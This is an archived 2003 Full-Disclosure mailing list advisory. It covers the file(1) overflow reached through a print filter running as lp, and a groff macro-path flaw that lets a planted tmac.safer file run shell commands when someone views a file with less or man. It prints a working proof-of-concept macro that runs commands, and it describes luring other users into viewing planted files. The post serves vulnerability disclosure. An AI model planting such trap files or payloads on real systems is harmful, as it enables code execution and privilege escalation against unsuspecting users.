http://lists.netsys.com/pipermail/full-disclosure/2003-March/004423.html
file(1) overflow is exploitable in other ways.
In /usr/lib/rhs/rhs-printfilters/master-filter
(rhs-printfilters-1.81-4.rh7.0, used by lprng at least)
magic=$(file ${SPOOLFILE})
magic=$($DECOMPRESS ${SPOOLFILE} | file -)
magic=$($DECOMPRESS ${SPOOLFILE} | file -)
This file is used as a filter called by LPRNG with uid:gid lp.lp.
Printing the exploit file would result in privilege escalation without
needing to social engineer anyone, or wait for a random occurance.
Speaking of social engineering:
I wonder what sort of file would be in /usr/tmp/ftplists/ on a public
access *nix box?
$ cd /usr/tmp/ftplists/
$ ls -l
... screens and screens of things like this
-rw-r--r-- 1 evil evil 51432 Mar 5 16:18 ftplist.1
... and more files.2 .3 .4 .5 .6 ... .9 with different names
Maybe they have IPs, logins, and passwords for ftp sites!
Might be a good idea to check them out so you can... um... oh yeah...
inform the admin that their sites might have been compromized and used for
trading files illegally... Of course, you'd have to check the contents
before you do anything else.
$ less ftplist.1
.... and suddenly you get logged out, and can't log in again.
when you manage to, all your files are gone, and you're
under investigation for all sorts of terrible crimes commited
from YOUR account.
Why does it look like you've just been owned?
Advisory: groff preprocessor path vuln.
OR
less does more.
Tested on groff-1.16-7.1.1 on rh 7.0.
You might've missed one line somewhere in the middle of the output like
this:
-rw-r--r-- 1 evil evil 50 Mar 5 16:16 tmac.safer
1) Less != safe
$ echo $LESSOPEN
|/usr/bin/lesspipe.sh %s
$ grep 'file -' /usr/bin/lesspipe.sh
if gunzip -c "$1" |file - |grep troff &>/dev/null; then
if bunzip2 -c "$1" |file - |grep troff &>/dev/null; then
*.1|*.2|*.3|*.4|*.5|*.6|*.7|*.8|*.9|*.n|*.man) FILE=`file -L "$1"` ; # groff src
As you can see, file gets called.
Another interesting thing:
...
if [ "$FILE" = "troff" ]; then
groff -s -p -t -e -Tascii -mandoc "$1"
fi ;;
...
Seems safe... is it? Nope.
$ cat ./tmac.safer
.nr _C \n(.C
.cp 0
.pi X (id;uname -a;date)>/var/tmp/owned-by-less X
.cp \n(_C
man is worse: it chdir()s one directory back before running the
preprocessor commands... check .. before running man ./file.1
Dangerous files:
dev*/DESC {ascii,latin1 for less and man}
This file can contain commands to modify the file before viewing/printing.
tmac.* - troff macro files.
tmac.tty, tmac.safer <- these get executed while some 'dangerous' commands
are still enabled (tmac.safer is supposed to remove them).
--
-------------------------------------------------------------------------
1) If this message was posted to a public forum by zen-parse_at_gmx.net, it
may be redistributed without modification.
2) In any other case the contents of this message is confidential and not
to be distributed in any form without express permission from the author.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
Received on Mar 05 2003
Intro
